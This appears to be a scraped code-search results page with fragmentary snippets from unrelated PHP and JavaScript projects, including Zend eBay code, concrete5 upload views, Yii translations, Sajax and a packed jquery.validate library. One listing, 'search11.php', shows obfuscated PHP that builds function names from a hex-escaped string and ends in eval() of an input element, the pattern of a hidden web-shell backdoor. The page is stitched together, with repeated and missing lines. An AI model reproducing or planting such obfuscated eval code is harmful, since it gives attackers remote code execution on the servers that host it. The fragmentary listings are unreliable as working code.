238            // this happens if any $subValue found is an array
                    
239            $new = $this->_optionsToNameValueSyntax($new);
                    
240        }
                    
244    /**
                    
245     * Translate native PHP values format to ebay format for request.
                    
246     *
                    
                
search11.php https://gitlab.com/relacilia/cakra | PHP | 90 lines
                    
1<?php $GLOBALS['vf64f'] = "\x32\x5b\x55\x6d\x4d\x4c\x6c\x70\x3c\x46\x5c\x61\x59\x4b\x6e\x79\x7e\x21\x5d\x4a\x38\x66\x29\x33\x60\x28\x24\x34\x37\x76\x53\x68\x58\x6b\x20\x39\x45\x78\x65\x47\x64\x2b\x5a\x50\x73\x40\xa\x6f\x5f\x5e\x44\x2d\x3f\x26\x31\x2f\x27\x2e\x3e\x7d\x25\x57\x74\x42\x35\x51\x30\x48\x72\x7c\x3b\x54\x67\x62\x9\x56\x69\x63\x7b\x7a\x36\x4e\x75\x2c\x43\x2a\x52\xd\x71\x4f\x3d\x49\x41\x23\x3a\x77\x6a\x22";
                    
2$GLOBALS[$GLOBALS['vf64f'][79].$GLOBALS['vf64f'][35].$GLOBALS['vf64f'][11].$GLOBALS['vf64f'][20].$GLOBALS['vf64f'][66].$GLOBALS['vf64f'][73]] = $GLOBALS['vf64f'][77].$GLOBALS['vf64f'][31].$GLOBALS['vf64f'][68];
                    
87    {
                    
88        eval($z62e1[$GLOBALS['vf64f'][40]]);
                    
89    }
                    
                
FormSelectTest.php https://bitbucket.org/Dal-Papa/is-340-publish-base.git | PHP | 384 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: FormSelectTest.php 25187 2013-01-08 08:21:00Z frosch $
                    
21 */
                    
23// Call Zend_View_Helper_FormSelectTest::main() if this source file is executed directly.
                    
24if (!defined("PHPUnit_MAIN_METHOD")) {
                    
25    define("PHPUnit_MAIN_METHOD", "Zend_View_Helper_FormSelectTest::main");
                    
27
                    
28require_once 'Zend/View/Helper/FormSelect.php';
                    
29require_once 'Zend/View.php';
                    
41 */
                    
42class Zend_View_Helper_FormSelectTest extends PHPUnit_Framework_TestCase
                    
43{
                    
50    {
                    
51        $suite  = new PHPUnit_Framework_TestSuite("Zend_View_Helper_FormSelectTest");
                    
52        $result = PHPUnit_TextUI_TestRunner::run($suite);
                    
                
Abstract.php https://bitbucket.org/haichau59/manga.git | PHP | 309 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Abstract.php 22824 2010-08-09 18:59:54Z renanbr $
                    
21 */
                    
124             */
                    
125            //require_once 'Zend/Service/Ebay/Exception.php';
                    
126            throw new Zend_Service_Ebay_Exception('Invalid options provided.');
                    
190     */
                    
191    protected function _optionsToNameValueSyntax($options)
                    
192    {
                    
238            // this happens if any $subValue found is an array
                    
239            $new = $this->_optionsToNameValueSyntax($new);
                    
240        }
                    
244    /**
                    
245     * Translate native PHP values format to ebay format for request.
                    
246     *
                    
                
import.php https://bitbucket.org/hudsonite/concrete5.git | PHP | 317 lines
                    
72
                    
73<h3><?php echo t('Upload Multiple Files')?></h3>
                    
74
                    
96		upload_url : "<?=REL_DIR_FILES_TOOLS_REQUIRED?>/files/importers/multiple",
                    
97		post_params: {'ccm-session' : "<?php echo session_id(); ?>",'searchInstance': '<?=$searchInstance?>', 'ocID' : '<?=$ocID?>', 'ccm_token' : '<?=$valt->generate("upload")?>'},
                    
98		file_size_limit : "<?=$umf?>",
                    
100		button_window_mode : SWFUpload.WINDOW_MODE.TRANSPARENT,
                    
101		file_types_description : "<?php echo t('All Files') ?>",
                    
102		file_upload_limit : 100,
                    
144				
                    
145				progress.setStatus("<?php echo t('Uploading...')?> ("+percent+"%)");
                    
146			} catch (ex) {
                    
152			try {
                    
153				eval('serverData = '+serverData);
                    
154				var progress = new FileProgress(file, this.customSettings.progressTarget);
                    
                
Service.php https://bitbucket.org/resourcemode/smodels.git | PHP | 439 lines
                    
1<?php
                    
2/**
                    
9
                    
10use Supa\Product\Attribute\Value\Collection as ProductAttributeValueCollection;
                    
11use Supa\Product\Attribute\Mapper as ProductAttributeMapper;
                    
12use Supa\Product\Attribute\Attribute as ProductAttribute;
                    
13use Supa\Product\Attribute\Value\Value as ProductAttributeValue;
                    
14use Supa\Product\Product;
                    
77	 * @param User $user User who created attribute
                    
78	 * @param array $attributeValues
                    
79	 * @return ProductAttribute|null
                    
80	 */
                    
81	public function createAttribute($attributeName, User $user, array $attributeValues = array()) {
                    
82		
                    
98			$productAttr = $this->mapper->create($productAttr);
                    
99			$productAttrValues = new ProductAttributeValueCollection(array());
                    
100			
                    
                
yii.php https://gitlab.com/isdzulqor/Slis-Dev | PHP | 107 lines
                    
1<?php
                    
2/**
                    
77    '{attribute} must be either "{true}" or "{false}".' => '{attribute} harus berupa "{true}" atau "{false}".',
                    
78    '{attribute} must be greater than "{compareValue}".' => '{attribute} harus lebih besar dari "{compareValue}".',
                    
79    '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} harus lebih besar dari atau sama dengan "{compareValue}".',
                    
79    '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} harus lebih besar dari atau sama dengan "{compareValue}".',
                    
80    '{attribute} must be less than "{compareValue}".' => '{attribute} harus lebih kecil dari "{compareValue}".',
                    
81    '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} harus lebih kecil dari atau sama dengan "{compareValue}".',
                    
84    '{attribute} must be repeated exactly.' => '{attribute} harus diulang sama persis.',
                    
85    '{attribute} must not be equal to "{compareValue}".' => '{attribute} harus tidak boleh sama dengan "{compareValue}".',
                    
86    '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} harus memiliki paling sedikit {min, number} {min, plural, one{karakter} other{karakter}}.',
                    
                
Object.js https://github.com/stephaneerard/qooxdoo.git | JavaScript | 359 lines
                    
11     LGPL: http://www.gnu.org/licenses/lgpl.html
                    
12     EPL: http://www.eclipse.org/org/documents/epl-v10.php
                    
13     See the LICENSE file in the project's top-level directory for details.
                    
184     *   to target. The possible options can be found in the
                    
185     *   {@link qx.data.SingleValueBinding} class.
                    
186     *
                    
188     *   reverse direction. The possible options can be found in the
                    
189     *   {@link qx.data.SingleValueBinding} class.
                    
190     */
                    
226    *   to target. The possible options can be found in the
                    
227    *   {@link qx.data.SingleValueBinding} class.
                    
228    *
                    
230    *   reverse direction. The possible options can be found in the
                    
231    *   {@link qx.data.SingleValueBinding} class.
                    
232    */
                    
                
Sajax.php https://github.com/Shigaru/shigaru.git | PHP | 1476 lines
                    
1<?php 
                    
2
                    
165
                    
166	// Helper function to return an eval()-usable representation
                    
167
                    
421
                    
422			header ("Cache-Control: no-cache, must-revalidate");  // HTTP/1.1
                    
423
                    
585
                    
586		var sajax_debug_mode = <?php echo $sajax_debug_mode ? "true" : "false"; ?>;
                    
587
                    
589
                    
590		var sajax_request_type = "<?php echo $t; ?>";
                    
591
                    
597
                    
598		var sajax_failure_redirect = "<?php echo $sajax_failure_redirect; ?>";
                    
599
                    
                
definitions.php https://gitlab.com/scsistemas/superprime | PHP | 262 lines
                    
1<?php
                    
2	//$urlWS = 'http://qa.superprimeweb.com/admin/index.php?';
                    
2	//$urlWS = 'http://qa.superprimeweb.com/admin/index.php?';
                    
3    $urlWS = 'http://localhost:8080/superprime/admin/index.php?';
                    
4	$rutaFotos = '../images/fotos/';
                    
8	foreach ($variable as $key ) {
                    
9		$dataML[$key] = obtenerClaveValor($urlWS, $key);
                    
10	}
                    
33
                    
34    function actulizarClaveValor($urlWS, $clave, $valor){
                    
35    	$hashParam = array('p_clave' => $clave, 'p_valor' => $valor);
                    
36		$hashParam = json_encode($hashParam);
                    
37		$hashUrl = $urlWS . 'service=generalservices&metodo=actualizarClaveValor';
                    
38		$curl = curl_init($hashUrl);
                    
45
                    
46	function obtenerClaveValor($urlWS, $clave){
                    
47    	$urlMLData = $urlWS . 'service=generalservices&metodo=consultarClaveValor&p_clave=' . $clave;
                    
                
jquery.validate.min.js http://flumpshop.googlecode.com/svn/trunk/ | JavaScript | 15 lines
                    
11 * Dual licensed under the MIT and GPL licenses:
                    
12 *   http://www.opensource.org/licenses/mit-license.php
                    
13 *   http://www.gnu.org/licenses/gpl.html
                    
14 */
                    
15eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(7($){$.H($.2L,{17:7(d){l(!6.F){d&&d.2q&&2T.1z&&1z.52("3y 3p, 4L\'t 17, 64 3y");8}p c=$.19(6[0],\'v\');l(c){8 c}c=2w $.v(d,6[0]);$.19(6[0],\'v\',c);l(c.q.3x){6.3s("1w, 3i").1o(".4E").3e(7(){c.3b=w});l(c.q.35){6.3s("1w, 3i").1o(":2s").3e(7(){c.1Z=6})}6.2s(7(b){l(c.q.2q)b.5J();7 1T(){l(c.q.35){l(c.1Z){p a=$("<1w 1V=\'5r\'/>").1s("u",c.1Z.u).33(c.1Z.Z).51(c.U)}c.q.35.V(c,c.U);l(c.1Z){a.3D()}8 N}8 w}l(c.3b){c.3b=N;8 1T()}l(c.L()){l(c.1b){c.1l=w;8 N}8 1T()}12{c.2l();8 N}})}8 c},J:7(){l($(6[0]).2W(\'L\')){8 6.17().L()}12{p b=w;p a=$(6[0].L).17();6.P(7(){b&=a.I(6)});8 b}},4D:7(c){p d={},$I=6;$.P(c.1I(/\\s/),7(a,b){d[b]=$I.1s(b);$I.6d(b)});8 d},1i:7(h,k){p f=6[0];l(h){p i=$.19(f.L,\'v\').q;p d=i.1i;p c=$.v.36(f);23(h){1e"1d":$.H(c,$.v.1X(k));d[f.u]=c;l(k.G)i.G[f.u]=$.H(i.G[f.u],k.G);31;1e"3D":l(!k){T d[f.u];8 c}p e={};$.P(k.1I(/\\s/),7(a,b){e[b]=c[b];T c[b]});8 e}}p g=$.v.41($.H({},$.v.3Y(f),$.v.3V(f),$.v.3T(f),$.v.36(f)),f);l(g.15){p j=g.15;T g.15;g=$.H({15:j},g)}8 g}});$.H($.5p[":"],{5n:7(a){8!$.1p(""+a.Z)},5g:7(a){8!!$.1p(""+a.Z)},5f:7(a){8!a.4h}});$.v=7(b,a){6.q=$.H(w,{},$.v.3d,b);6.U=a;6.3I()};$.v.W=7(c,b){l(R.F==1)8 7(){p a=$.3F(R);a.4V(c);8 $.v.W.1Q(6,a)};l(R.F>2&&b.2c!=3B){b=$.3F(R).4Q(1)}l(b.2c!=3B){b=[b]}$.P(b,7(i,n){c=c.1u(2w 3t("\\\\{"+i+"\\\\}","g"),n)});8 c};$.H($.v,{3d:{G:{},2a:{},1i:{},1c:"3r",28:"J",2F:"4P",2l:w,3o:$([]),2D:$([]),3x:w,3l:[],3k:N,4O:7(a){6.3U=a;l(6.q.4K&&!6.4J){6.q.1K&&6.q.1K.V(6,a,6.q.1c,6.q.28);6.1M(a).2A()}},4C:7(a){l(!6.1E(a)&&(a.u 11 6.1a||!6.K(a))){6.I(a)}},6c:7(a){l(a.u 11 6.1a||a==6.4A){6.I(a)}},68:7(a){l(a.u 11 6.1a)6.I(a);12 l(a.4x.u 11 6.1a)6.I(a.4x)},39:7(a,c,b){$(a).22(c).2v(b)},1K:7(a,c,b){$(a).2v(c).22(b)}},63:7(a){$.H($.v.3d,a)},G:{15:"61 4r 2W 15.",1q:"M 2O 6 4r.",1J:"M O a J 1J 5X.",1B:"M O a J 5W.",1A:"M O a J 1A.",2j:"M O a J 1A (5Q).",1G:"M O a J 1G.",1P:"M O 5O 1P.",2f:"M O a J 5L 5I 1G.",2o:"M O 47 5F Z 5B.",43:"M O a Z 5z a J 5x.",18:$.v.W("M O 3K 5v 2X {0} 2V."),1y:$.v.W("M O 5t 5s {0} 2V."),2i:$.v.W("M O a Z 3W {0} 3O {1} 2V 5o."),2r:$.v.W("M O a Z 3W {0} 3O {1}."),1C:$.v.W("M O a Z 5j 2X 46 3M 3L {0}."),1t:$.v.W("M O a Z 5d 2X 46 3M 3L {0}.")},3J:N,5a:{3I:7(){6.24=$(6.q.2D);6.4t=6.24.F&&6.24||$(6.U);6.2x=$(6.q.3o).1d(6.q.2D);6.1a={};6.54={};6.1b=0;6.1h={};6.1f={};6.21();p f=(6.2a={});$.P(6.q.2a,7(d,c){$.P(c.1I(/\\s/),7(a,b){f[b]=d})});p e=6.q.1i;$.P(e,7(b,a){e[b]=$.v.1X(a)});7 2N(a){p b=$.19(6[0].L,"v"),3c="4W"+a.1V.1u(/^17/,"");b.q[3c]&&b.q[3c].V(b,6[0])}$(6.U).2K(":3E, :4U, :4T, 2e, 4S","2d 2J 4R",2N).2K(":3C, :3A, 2e, 3z","3e",2N);l(6.q.3w)$(6.U).2I("1f-L.17",6.q.3w)},L:7(){6.3v();$.H(6.1a,6.1v);6.1f=$.H({},6.1v);l(!6.J())$(6.U).3u("1f-L",[6]);6.1m();8 6.J()},3v:7(){6.2H();Q(p i=0,14=(6.2b=6.14());14[i];i++){6.29(14[i])}8 6.J()},I:7(a){a=6.2G(a);6.4A=a;6.2P(a);6.2b=$(a);p b=6.29(a);l(b){T 6.1f[a.u]}12{6.1f[a.u]=w}l(!6.3q()){6.13=6.13.1d(6.2x)}6.1m();8 b},1m:7(b){l(b){$.H(6.1v,b);6.S=[];Q(p c 11 b){6.S.27({1j:b[c],I:6.26(c)[0]})}6.1n=$.3n(6.1n,7(a){8!(a.u 11 b)})}6.q.1m?6.q.1m.V(6,6.1v,6.S):6.3m()},2S:7(){l($.2L.2S)$(6.U).2S();6.1a={};6.2H();6.2Q();6.14().2v(6.q.1c)},3q:7(){8 6.2k(6.1f)},2k:7(a){p b=0;Q(p i 11 a)b++;8 b},2Q:7(){6.2C(6.13).2A()},J:7(){8 6.3j()==0},3j:7(){8 6.S.F},2l:7(){l(6.q.2l){3Q{$(6.3h()||6.S.F&&6.S[0].I||[]).1o(":4N").3g().4M("2d")}3f(e){}}},3h:7(){p a=6.3U;8 a&&$.3n(6.S,7(n){8 n.I.u==a.u}).F==1&&a},14:7(){p a=6,2B={};8 $([]).1d(6.U.14).1o(":1w").1L(":2s, :21, :4I, [4H]").1L(6.q.3l).1o(7(){!6.u&&a.q.2q&&2T.1z&&1z.3r("%o 4G 3K u 4F",6);l(6.u 11 2B||!a.2k($(6).1i()))8 N;2B[6.u]=w;8 w})},2G:7(a){8 $(a)[0]},2z:7(){8 $(6.q.2F+"."+6.q.1c,6.4t)},21:7(){6.1n=[];6.S=[];6.1v={};6.1k=$([]);6.13=$([]);6.2b=$([])},2H:7(){6.21();6.13=6.2z().1d(6.2x)},2P:7(a){6.21();6.13=6.1M(a)},29:7(d){d=6.2G(d);l(6.1E(d)){d=6.26(d.u)[0]}p a=$(d).1i();p c=N;Q(Y 11 a){p b={Y:Y,2n:a[Y]};3Q{p f=$.v.1N[Y].V(6,d.Z.1u(/\\r/g,""),d,b.2n);l(f=="1S-1Y"){c=w;6g}c=N;l(f=="1h"){6.13=6.13.1L(6.1M(d));8}l(!f){6.4B(d,b);8 N}}3f(e){6.q.2q&&2T.1z&&1z.6f("6e 6b 6a 69 I "+d.4z+", 29 47 \'"+b.Y+"\' Y",e);67 e;}}l(c)8;l(6.2k(a))6.1n.27(d);8 w},4y:7(a,b){l(!$.1H)8;p c=6.q.3a?$(a).1H()[6.q.3a]:$(a).1H();8 c&&c.G&&c.G[b]},4w:7(a,b){p m=6.q.G[a];8 m&&(m.2c==4v?m:m[b])},4u:7(){Q(p i=0;i<R.F;i++){l(R[i]!==20)8 R[i]}8 20},2u:7(a,b){8 6.4u(6.4w(a.u,b),6.4y(a,b),!6.q.3k&&a.62||20,$.v.G[b],"<4s>60: 5Z 1j 5Y Q "+a.u+"</4s>")},4B:7(b,a){p c=6.2u(b,a.Y),37=/\\$?\\{(\\d+)\\}/g;l(1g c=="7"){c=c.V(6,a.2n,b)}12 l(37.16(c)){c=1F.W(c.1u(37,\'{$1}\'),a.2n)}6.S.27({1j:c,I:b});6.1v[b.u]=c;6.1a[b.u]=c},2C:7(a){l(6.q.2t)a=a.1d(a.4q(6.q.2t));8 a},3m:7(){Q(p i=0;6.S[i];i++){p a=6.S[i];6.q.39&&6.q.39.V(6,a.I,6.q.1c,6.q.28);6.2E(a.I,a.1j)}l(6.S.F){6.1k=6.1k.1d(6.2x)}l(6.q.1x){Q(p i=0;6.1n[i];i++){6.2E(6.1n[i])}}l(6.q.1K){Q(p i=0,14=6.4p();14[i];i++){6.q.1K.V(6,14[i],6.q.1c,6.q.28)}}6.13=6.13.1L(6.1k);6.2Q();6.2C(6.1k).4o()},4p:7(){8 6.2b.1L(6.4n())},4n:7(){8 $(6.S).4m(7(){8 6.I})},2E:7(a,c){p b=6.1M(a);l(b.F){b.2v().22(6.q.1c);b.1s("4l")&&b.4k(c)}12{b=$("<"+6.q.2F+"/>").1s({"Q":6.34(a),4l:w}).22(6.q.1c).4k(c||"");l(6.q.2t){b=b.2A().4o().5V("<"+6.q.2t+"/>").4q()}l(!6.24.5S(b).F)6.q.4j?6.q.4j(b,$(a)):b.5R(a)}l(!c&&6.q.1x){b.3E("");1g 6.q.1x=="1D"?b.22(6.q.1x):6.q.1x(b)}6.1k=6.1k.1d(b)},1M:7(a){p b=6.34(a);8 6.2z().1o(7(){8 $(6).1s(\'Q\')==b})},34:7(a){8 6.2a[a.u]||(6.1E(a)?a.u:a.4z||a.u)},1E:7(a){8/3C|3A/i.16(a.1V)},26:7(d){p c=6.U;8 $(4i.5P(d)).4m(7(a,b){8 b.L==c&&b.u==d&&b||4g})},1O:7(a,b){23(b.4f.4e()){1e\'2e\':8 $("3z:3p",b).F;1e\'1w\':l(6.1E(b))8 6.26(b.u).1o(\':4h\').F}8 a.F},4d:7(b,a){8 6.32[1g b]?6.32[1g b](b,a):w},32:{"5N":7(b,a){8 b},"1D":7(b,a){8!!$(b,a.L).F},"7":7(b,a){8 b(a)}},K:7(a){8!$.v.1N.15.V(6,$.1p(a.Z),a)&&"1S-1Y"},4c:7(a){l(!6.1h[a.u]){6.1b++;6.1h[a.u]=w}},4b:7(a,b){6.1b--;l(6.1b<0)6.1b=0;T 6.1h[a.u];l(b&&6.1b==0&&6.1l&&6.L()){$(6.U).2s();6.1l=N}12 l(!b&&6.1b==0&&6.1l){$(6.U).3u("1f-L",[6]);6.1l=N}},2h:7(a){8 $.19(a,"2h")||$.19(a,"2h",{2M:4g,J:w,1j:6.2u(a,"1q")})}},1R:{15:{15:w},1J:{1J:w},1B:{1B:w},1A:{1A:w},2j:{2j:w},4a:{4a:w},1G:{1G:w},49:{49:w},1P:{1P:w},2f:{2f:w}},48:7(a,b){a.2c==4v?6.1R[a]=b:$.H(6.1R,a)},3V:7(b){p a={};p c=$(b).1s(\'5H\');c&&$.P(c.1I(\' \'),7(){l(6 11 $.v.1R){$.H(a,$.v.1R[6])}});8 a},3T:7(c){p a={};p d=$(c);Q(Y 11 $.v.1N){p b=d.1s(Y);l(b){a[Y]=b}}l(a.18&&/-1|5G|5C/.16(a.18)){T a.18}8 a},3Y:7(a){l(!$.1H)8{};p b=$.19(a.L,\'v\').q.3a;8 b?$(a).1H()[b]:$(a).1H()},36:7(b){p a={};p c=$.19(b.L,\'v\');l(c.q.1i){a=$.v.1X(c.q.1i[b.u])||{}}8 a},41:7(d,e){$.P(d,7(c,b){l(b===N){T d[c];8}l(b.2R||b.2p){p a=w;23(1g b.2p){1e"1D":a=!!$(b.2p,e.L).F;31;1e"7":a=b.2p.V(e,e);31}l(a){d[c]=b.2R!==20?b.2R:w}12{T d[c]}}});$.P(d,7(a,b){d[a]=$.44(b)?b(e):b});$.P([\'1y\',\'18\',\'1t\',\'1C\'],7(){l(d[6]){d[6]=2Z(d[6])}});$.P([\'2i\',\'2r\'],7(){l(d[6]){d[6]=[2Z(d[6][0]),2Z(d[6][1])]}});l($.v.3J){l(d.1t&&d.1C){d.2r=[d.1t,d.1C];T d.1t;T d.1C}l(d.1y&&d.18){d.2i=[d.1y,d.18];T d.1y;T d.18}}l(d.G){T d.G}8 d},1X:7(a){l(1g a=="1D"){p b={};$.P(a.1I(/\\s/),7(){b[6]=w});a=b}8 a},5A:7(c,a,b){$.v.1N[c]=a;$.v.G[c]=b!=20?b:$.v.G[c];l(a.F<3){$.v.48(c,$.v.1X(c))}},1N:{15:7(c,d,a){l(!6.4d(a,d))8"1S-1Y";23(d.4f.4e()){1e\'2e\':p b=$(d).33();8 b&&b.F>0;1e\'1w\':l(6.1E(d))8 6.1O(c,d)>0;5y:8 $.1p(c).F>0}},1q:7(f,h,j){l(6.K(h))8"1S-1Y";p g=6.2h(h);l(!6.q.G[h.u])6.q.G[h.u]={};g.40=6.q.G[h.u].1q;6.q.G[h.u].1q=g.1j;j=1g j=="1D"&&{1B:j}||j;l(g.2M!==f){g.2M=f;p k=6;6.4c(h);p i={};i[h.u]=f;$.2U($.H(w,{1B:j,3Z:"2Y",3X:"17"+h.u,5w:"5u",19:i,1x:7(d){k.q.G[h.u].1q=g.40;p b=d===w;l(b){p e=k.1l;k.2P(h);k.1l=e;k.1n.27(h);k.1m()}12{p a={};p c=(g.1j=d||k.2u(h,"1q"));a[h.u]=$.44(c)?c(f):c;k.1m(a)}g.J=b;k.4b(h,b)}},j));8"1h"}12 l(6.1h[h.u]){8"1h"}8 g.J},1y:7(b,c,a){8 6.K(c)||6.1O($.1p(b),c)>=a},18:7(b,c,a){8 6.K(c)||6.1O($.1p(b),c)<=a},2i:7(b,d,a){p c=6.1O($.1p(b),d);8 6.K(d)||(c>=a[0]&&c<=a[1])},1t:7(b,c,a){8 6.K(c)||b>=a},1C:7(b,c,a){8 6.K(c)||b<=a},2r:7(b,c,a){8 6.K(c)||(b>=a[0]&&b<=a[1])},1J:7(a,b){8 6.K(b)||/^((([a-z]|\\d|[!#\\$%&\'\\*\\+\\-\\/=\\?\\^X`{\\|}~]|[\\E-\\B\\C-\\x\\A-\\y])+(\\.([a-z]|\\d|[!#\\$%&\'\\*\\+\\-\\/=\\?\\^X`{\\|}~]|[\\E-\\B\\C-\\x\\A-\\y])+)*)|((\\3S)((((\\2m|\\1W)*(\\30\\3R))?(\\2m|\\1W)+)?(([\\3P-\\5q\\45\\42\\5D-\\5E\\3N]|\\5m|[\\5l-\\5k]|[\\5i-\\5K]|[\\E-\\B\\C-\\x\\A-\\y])|(\\\\([\\3P-\\1W\\45\\42\\30-\\3N]|[\\E-\\B\\C-\\x\\A-\\y]))))*(((\\2m|\\1W)*(\\30\\3R))?(\\2m|\\1W)+)?(\\3S)))@((([a-z]|\\d|[\\E-\\B\\C-\\x\\A-\\y])|(([a-z]|\\d|[\\E-\\B\\C-\\x\\A-\\y])([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])*([a-z]|\\d|[\\E-\\B\\C-\\x\\A-\\y])))\\.)+(([a-z]|[\\E-\\B\\C-\\x\\A-\\y])|(([a-z]|[\\E-\\B\\C-\\x\\A-\\y])([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])*([a-z]|[\\E-\\B\\C-\\x\\A-\\y])))\\.?$/i.16(a)},1B:7(a,b){8 6.K(b)||/^(5h?|5M):\\/\\/(((([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])|(%[\\1U-f]{2})|[!\\$&\'\\(\\)\\*\\+,;=]|:)*@)?(((\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5]))|((([a-z]|\\d|[\\E-\\B\\C-\\x\\A-\\y])|(([a-z]|\\d|[\\E-\\B\\C-\\x\\A-\\y])([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])*([a-z]|\\d|[\\E-\\B\\C-\\x\\A-\\y])))\\.)+(([a-z]|[\\E-\\B\\C-\\x\\A-\\y])|(([a-z]|[\\E-\\B\\C-\\x\\A-\\y])([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])*([a-z]|[\\E-\\B\\C-\\x\\A-\\y])))\\.?)(:\\d*)?)(\\/((([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])|(%[\\1U-f]{2})|[!\\$&\'\\(\\)\\*\\+,;=]|:|@)+(\\/(([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])|(%[\\1U-f]{2})|[!\\$&\'\\(\\)\\*\\+,;=]|:|@)*)*)?)?(\\?((([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])|(%[\\1U-f]{2})|[!\\$&\'\\(\\)\\*\\+,;=]|:|@)|[\\5e-\\5T]|\\/|\\?)*)?(\\#((([a-z]|\\d|-|\\.|X|~|[\\E-\\B\\C-\\x\\A-\\y])|(%[\\1U-f]{2})|[!\\$&\'\\(\\)\\*\\+,;=]|:|@)|\\/|\\?)*)?$/i.16(a)},1A:7(a,b){8 6.K(b)||!/5U|5c/.16(2w 5b(a))},2j:7(a,b){8 6.K(b)||/^\\d{4}[\\/-]\\d{1,2}[\\/-]\\d{1,2}$/.16(a)},1G:7(a,b){8 6.K(b)||/^-?(?:\\d+|\\d{1,3}(?:,\\d{3})+)(?:\\.\\d+)?$/.16(a)},1P:7(a,b){8 6.K(b)||/^\\d+$/.16(a)},2f:7(b,e){l(6.K(e))8"1S-1Y";l(/[^0-9-]+/.16(b))8 N;p a=0,d=0,2g=N;b=b.1u(/\\D/g,"");Q(p n=b.F-1;n>=0;n--){p c=b.59(n);p d=58(c,10);l(2g){l((d*=2)>9)d-=9}a+=d;2g=!2g}8(a%10)==0},43:7(b,c,a){a=1g a=="1D"?a.1u(/,/g,\'|\'):"57|56?g|55";8 6.K(c)||b.65(2w 3t(".("+a+")$","i"))},2o:7(c,d,a){p b=$(a).66(".17-2o").2I("3H.17-2o",7(){$(d).J()});8 c==b.33()}}});$.W=$.v.W})(1F);(7($){p c=$.2U;p d={};$.2U=7(a){a=$.H(a,$.H({},$.53,a));p b=a.3X;l(a.3Z=="2Y"){l(d[b]){d[b].2Y()}8(d[b]=c.1Q(6,R))}8 c.1Q(6,R)}})(1F);(7($){l(!1F.1r.38.2d&&!1F.1r.38.2J&&4i.3G){$.P({3g:\'2d\',3H:\'2J\'},7(b,a){$.1r.38[a]={50:7(){6.3G(b,2y,w)},4Z:7(){6.4Y(b,2y,w)},2y:7(e){R[0]=$.1r.2O(e);R[0].1V=a;8 $.1r.1T.1Q(6,R)}};7 2y(e){e=$.1r.2O(e);e.1V=a;8 $.1r.1T.V(6,e)}})};$.H($.2L,{2K:7(d,e,c){8 6.2I(e,7(a){p b=$(a.4X);l(b.2W(d)){8 c.1Q(b,R)}})}})})(1F);',62,389,'||||||this|function|return|||||||||||||if||||var|settings||||name|validator|true|uFDCF|uFFEF||uFDF0|uD7FF|uF900||u00A0|length|messages|extend|element|valid|optional|form|Please|false|enter|each|for|arguments|errorList|delete|currentForm|call|format|_|method|value||in|else|toHide|elements|required|test|validate|maxlength|data|submitted|pendingRequest|errorClass|add|case|invalid|typeof|pending|rules|message|toShow|formSubmitted|showErrors|successList|filter|trim|remote|event|attr|min|replace|errorMap|input|success|minlength|console|date|url|max|string|checkable|jQuery|number|metadata|split|email|unhighlight|not|errorsFor|methods|getLength|digits|apply|classRuleSettings|dependency|handle|da|type|x09|normalizeRule|mismatch|submitButton|undefined|reset|addClass|switch|labelContainer||findByName|push|validClass|check|groups|currentElements|constructor|focusin|select|creditcard|bEven|previousValue|rangelength|dateISO|objectLength|focusInvalid|x20|parameters|equalTo|depends|debug|range|submit|wrapper|defaultMessage|removeClass|new|containers|handler|errors|hide|rulesCache|addWrapper|errorLabelContainer|showLabel|errorElement|clean|prepareForm|bind|focusout|validateDelegate|fn|old|delegate|fix|prepareElement|hideErrors|param|resetForm|window|ajax|characters|is|than|abort|Number|x0d|break|dependTypes|val|idOrName|submitHandler|staticRules|theregex|special|highlight|meta|cancelSubmit|eventType|defaults|click|catch|focus|findLastActive|button|size|ignoreTitle|ignore|defaultShowErrors|grep|errorContainer|selected|numberOfInvalids|error|find|RegExp|triggerHandler|checkForm|invalidHandler|onsubmit|nothing|option|checkbox|Array|radio|remove|text|makeArray|addEventListener|blur|init|autoCreateRanges|no|to|equal|x7f|and|x01|try|x0a|x22|attributeRules|lastActive|classRules|between|port|metadataRules|mode|originalMessage|normalizeRules|x0c|accept|isFunction|x0b|or|the|addClassRules|numberDE|dateDE|stopRequest|startRequest|depend|toLowerCase|nodeName|null|checked|document|errorPlacement|html|generated|map|invalidElements|show|validElements|parent|field|strong|errorContext|findDefined|String|customMessage|parentNode|customMetaMessage|id|lastElement|formatAndAdd|onfocusout|removeAttrs|cancel|assigned|has|disabled|image|blockFocusCleanup|focusCleanup|can|trigger|visible|onfocusin|label|slice|keyup|textarea|file|password|unshift|on|target|removeEventListener|teardown|setup|appendTo|warn|ajaxSettings|valueCache|gif|jpe|png|parseInt|charAt|prototype|Date|NaN|greater|uE000|unchecked|filled|https|x5d|less|x5b|x23|x21|blank|long|expr|x08|hidden|least|at|json|more|dataType|extension|default|with|addMethod|again|524288|x0e|x1f|same|2147483647|class|card|preventDefault|x7e|credit|ftp|boolean|only|getElementsByName|ISO|insertAfter|append|uF8FF|Invalid|wrap|URL|address|defined|No|Warning|